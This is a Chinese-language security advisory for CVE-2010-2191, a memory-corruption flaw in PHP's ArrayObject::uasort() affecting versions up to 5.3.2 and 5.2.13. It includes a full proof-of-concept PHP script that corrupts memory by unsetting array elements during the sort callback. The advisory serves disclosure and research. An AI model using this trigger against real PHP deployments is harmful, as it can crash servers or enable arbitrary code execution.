PHP ArrayObject::uasort()中断处理内存破坏漏洞
发布日期:2010-05-31
更新日期:2010-06-28
受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2010-2191
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的ArrayObject::uasort()方式没有正确地处理中断情况,可能触发内存破坏,导致执行任意代码。
<*来源:Stefan Esser ([email protected])
链接:http://www.php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/index.html
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
error_Reporting(E_ALL);
$first = true;
function uc($a,$b)
{
global $first;
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$y = str_repeat("A", 39);
} else {
$y = str_repeat("A", 67);
}
if ($first) {
unset($GLOBALS['arr']["B"]);
$GLOBALS['_____________________________________________________________________________a'] = 1;
$GLOBALS['_____________________________________________________________________________b'] = 2;
$GLOBALS['_____________________________________________________________________________x'] .= $y;
}
$first=false;
}
$arr = new ArrayObject(array("A" => str_repeat("A", 164),"B" => str_repeat("B", 164), "C" => str_repeat("C", 164), "D" => str_repeat("D", 164)));
$arr->uasort("uc");
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: